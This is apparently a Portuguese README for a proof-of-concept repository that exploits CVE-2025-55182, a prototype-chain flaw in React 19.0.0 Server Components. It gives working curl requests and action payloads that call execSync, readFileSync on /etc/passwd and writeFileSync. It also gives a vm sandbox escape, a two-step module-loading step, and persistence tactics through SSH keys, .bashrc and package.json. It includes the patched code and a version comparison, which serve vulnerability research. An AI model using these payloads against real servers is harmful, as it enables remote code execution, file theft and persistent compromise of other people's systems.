Esta POC demonstra a CVE-2025-55182 usando o código vulnerável real `[email protected]`.
Este POC demonstra a CVE-2025-55182 usando código vulnerável real do [email protected].
Este repositório é um fork de https://github.com/ejpir/CVE-2025-55182-poc e ainda não foi verificado! Por favor, tenha cautela e verifique cuidadosamente!
# Instalar dependências
npm install
# Iniciar servidor vulnerável (porta 3002)
npm start
# Executar exploit RCE
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servidores
npm start # Iniciar servidor principal (server-realistic.js, porta 3002)
npm run start:legacy # Iniciar servidor legado (server.js, porta 3002)
npm run start:module # Iniciar servidor módulo (porta 3003) - hipotético, veja nota abaixo
# Exploits (use com npm start)
npm run exploit # Demonstração RCE (usa vm, funciona com qualquer: vm, child_process, fs)
npm run exploit:all # Testar todos os gadgets
npm run exploit:persistence # Ataques de persistência (apenas fs)
npm run exploit:research # Pesquisa da cadeia de protótipo
# Exploits hipotéticos (use com start:module)
npm run exploit:module # RCE em duas etapas via module#_load
npm run exploit:indirect # RCE em duas etapas com arquivo de prova
Nota: Os exploits
modulesão hipotéticos. O módulomoduleraramente é agrupado em aplicações de produção. Eles demonstram um caminho de ataque teórico quando apenasfs+moduleestão disponíveis (sem vm/child_process). Na prática, aplicações comfsgeralmente também possuemchild_processatravés de dependências como sharp, puppeteer ou execa.
# Iniciar servidor primeiro
npm start
# Testar leitura fs
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Testar execução de comando
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Testar execução de código vm
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Testar acesso à cadeia de protótipo
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| Arquivo | Porta | Descrição |
|---|---|---|
src/server-realistic.js | 3002 | Servidor principal - simula bundle webpack com módulos comuns (fs, vm, child_process) |
src/server.js | 3002 | Servidor legado (usa require direto) |
src/server-module-test.js | 3003 | Servidor com módulo + fs (para pesquisa) |
| Arquivo | Descrição |
|---|---|
exploit-rce-v4.js | RCE primário via vm#runInThisContext |
exploit-all-gadgets.js | Testa todos os gadgets RCE (vm, child_process, fs) |
exploit-module-load.js | RCE em duas etapas via fs + module#_load |
exploit-indirect-rce.js | RCE em duas etapas com criação de arquivo de prova |
exploit-persistence.js | Ataques de persistência (chaves SSH, .bashrc) |
exploit-research.js | Pesquisa da cadeia de protótipo |
Simula um bundle webpack real onde aplicações comumente agrupam módulos perigosos através de dependências:
// Módulos agrupados (o que é incluído ao usar pacotes comuns)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* ações do servidor do usuário */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
A função __webpack_require__ carrega módulos apenas de BUNDLED_MODULES, simulando o comportamento real do webpack.
Em requireModule(), as exportações são acessadas via notação de colchetes sem verificação hasOwnProperty:
// VULNERÁVEL (React 19.0.0)
return moduleExports[metadata[2]]; // Acessa a cadeia de protótipo!
// CORRIGIDO (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 com metadados de ação vinculadosid: 'vm#runInThisContext' carrega o módulo vm, acessa a exportação runInThisContextbound torna-se argumentos para a funçãorunInThisContext(CODE) executa código arbitrário| Gadget | Status | Descrição |
|---|---|---|
vm#runInThisContext | ✓ | Executar JS arbitrário no contexto atual |
vm#runInNewContext | ✓ | Executar em "sandbox" (facilmente escapada) |
child_process#execSync | ✓ | Execução direta de comando shell |
child_process#execFileSync | ✓ | Executar arquivos binários |
child_process#spawnSync | ✓ | Criar processo (retorna objeto) |
module#_load | ✓ | Carregar e executar arquivo JS (2 etapas com fs) |
fs#readFileSync | ✓ | Ler arquivos arbitrários |
fs#writeFileSync | ✓ | Escrever arquivos arbitrários |
Executar comando shell (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
Ler arquivos sensíveis:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
Escrever arquivos no disco:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
Executar JavaScript arbitrário:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
Escape de sandbox (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
Para RCE direto: Sim, você precisa de um:
vm (runInThisContext, runInNewContext)child_process (execSync, execFileSync, spawnSync)Para RCE indireto (apenas fs): Não! Apenas com fs você pode:
~/.ssh/authorized_keys → acesso SSH~/.bashrc → execução de código no próximo loginnode_modules/* → RCE na reinicialização da aplicaçãopackage.json → RCE no próximo npm installNota: Isso é hipotético. O módulo
moduleraramente é agrupado em produção.
// Etapa 1: Escrever módulo malicioso
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Etapa 2: Carregá-lo
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Resultado: RCE!
| Versão | Ataque | Resultado |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE alcançado |
| React 19.2.1 | vm#runInThisContext | ✗ Bloqueado |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Ataques falharão
Consulte VULNERABLE-PACKAGES.md para pesquisas sobre pacotes npm populares que incluem módulos perigosos:
| Módulo | Downloads Semanais | Pacotes Populares |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |